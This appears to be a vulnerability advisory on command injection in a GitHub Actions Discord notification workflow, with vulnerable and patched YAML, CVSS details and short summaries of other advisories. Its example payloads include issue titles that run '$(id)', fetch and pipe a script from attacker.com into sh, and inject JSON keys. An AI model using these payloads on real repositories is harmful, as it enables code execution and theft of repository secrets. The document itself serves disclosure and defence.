Jun 21, 2026·5 min read·20 visits
Untrusted GitHub issue and pull request titles are directly interpolated into an inline Bash script within a GitHub Actions workflow, leading to arbitrary OS command injection.
A command injection vulnerability exists in the .github/workflows/discord-issue.yml workflow of the gouef/githubtoplanguages repository. By exploiting literal string interpolation of untrusted issue titles into an inline Bash script, an attacker can execute arbitrary code within the GitHub Actions runner environment. This exposure risks the theft of repository secrets such as the Discord webhook URL.
The repository gouef/githubtoplanguages integrated a custom GitHub Actions workflow designated for notifying a Discord channel when issues or pull requests are processed. This automation is defined within the workflow file .github/workflows/discord-issue.yml, which triggers on issue opening and closing events.
The core of the functionality relies on a step that constructs a JSON payload containing details of the GitHub event and transmits it to a Discord webhook. Because GitHub Actions workflows run in a privileged virtual environment with access to repository secrets, secure handling of external inputs within these scripts is paramount.
The workflow exposed a significant attack surface by treating untrusted user input—specifically the title of a GitHub issue or pull request—as trusted executable instructions within an inline shell execution step. This architectural design flaw represents a classic input validation failure within an automation context.
The technical root cause lies in how the GitHub Actions runner processes expressions in inline scripts. Before executing a run block, the workflow runner scans the YAML for double-curly brace expressions and performs literal string replacement with the event payload values.
In the vulnerable workflow configuration, the expression ${{ github.event.issue.title }} was placed directly within double quotes in a Bash variable assignment. When the runner prepared the script for execution, it literally pasted the attacker-supplied issue title string into the shell script file.
Since the shell evaluates variable assignments inside double quotes, any command substitution sequence present in the issue title, such as backticks or dollar-parenthesis syntax, is parsed and executed by the shell. This occurs prior to the execution of the main commands, resulting in direct OS command injection under the permissions of the runner process.
An examination of the vulnerable code snippet reveals the direct interpolation of the event-driven titles into local variables within the inline execution environment:
- name: Send notification to Discord
env:
DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL_ISSUE }}
run: |
STATUS="${{ github.event.action == 'opened' && '📢 **New Issue**' || '✅ **Issue Closed**' }}"
ISSUE_TYPE="${{ github.event_name }}"
ISSUE_TITLE="${{ github.event.issue.title || github.event.pull_request.title }}"
ISSUE_URL="${{ github.event.issue.html_url || github.event.pull_request.html_url }}"
AUTHOR="${{ github.actor }}"If an issue is opened with the title $(id), the pre-processed script executed by the shell contains the literal assignment ISSUE_TITLE="$(id)". When the shell parses this line, the expression $(id) is executed, and its output is stored in the ISSUE_TITLE variable.
The patched version remediates this security gap by removing the direct interpolation from the inline script body entirely. Instead, the runner defines standard process-level environment variables, which do not undergo shell evaluation:
- name: Send notification to Discord
env:
DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL_ISSUE }}
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_URL: ${{ github.event.issue.html_url }}
AUTHOR: ${{ github.actor }}
run: |
STATUS="${{ github.event.action == 'opened' && '📢 **New Issue**' || '✅ **Issue Closed**' }}"
# Now, $ISSUE_TITLE is evaluated as a standard shell variableExploiting this vulnerability requires minimal administrative access because any authenticated GitHub user can open an issue on a public repository. This satisfies the Low Privileges requirement (PR:L) under the CVSS framework.
To trigger the vulnerability, an attacker submits a new issue with a crafted payload in the title field, such as test $(curl -fsSL http://attacker.com/malicious_script | sh). Once the issue is created, the GitHub Actions platform automatically triggers the workflow, parsing the payload and executing the malicious payload inside the ephemeral runner environment.
While the environment is virtualized and short-lived, it hosts highly sensitive information, including the GitHub runner's access tokens and configured repository secrets. In this specific repository, the runner holds the DISCORD_WEBHOOK_URL_ISSUE secret, which can be easily extracted and exfiltrated during execution.
Even when the shell execution is secured using environment variables, the system remains vulnerable to a secondary security weakness involving JSON injection. The workflow constructs the JSON payload using manual string concatenation inside double quotes within a curl invocation.
If an attacker provides an issue title containing unescaped double quotes, they can break out of the JSON string structure. This allows them to manipulate additional keys in the JSON object, such as the username or content fields of the Discord webhook payload.
To illustrate this, a title like Test\", \"username\": \"Admin Spoofer\" would override the Discord bot name. This architectural weakness underscores the importance of utilizing utility tools like jq to properly serialize data objects rather than manually constructing them using string templates.
The primary remediation strategy is to upgrade to version 1.1.4 or apply the security patch shown in commit 157840482e592bd4f8e0617539e73cdbef26f1ac. This patch safely decouples the user-controlled input from the shell parsing context.
For comprehensive protection, developers should always separate code from data in GitHub Actions. This is achieved by mapping all context-based expressions into step-level environment variables before referencing them inside the shell script.
Furthermore, to completely mitigate both command injection and JSON structural manipulation, workflows should leverage specialized tools such as jq for payload assembly. This ensures that all inputs are systematically encoded, preventing both shell escape sequences and syntax corruption within downstream APIs.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
githubtoplanguages gouef | < 1.1.4 | 1.1.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-74 / CWE-78 / CWE-94 |
| Attack Vector | Network (AV:N) |
| CVSS v4.0 Score | 7.1 (High) |
| Exploit Status | PoC |
| KEV Status | Not Listed |
| Affected Component | GitHub Actions Workflow (.github/workflows/discord-issue.yml) |
| Ephemeral Impact | Arbitrary Command Execution in Runner Environment |
A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.
AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.
A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.
CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.
CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.
CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.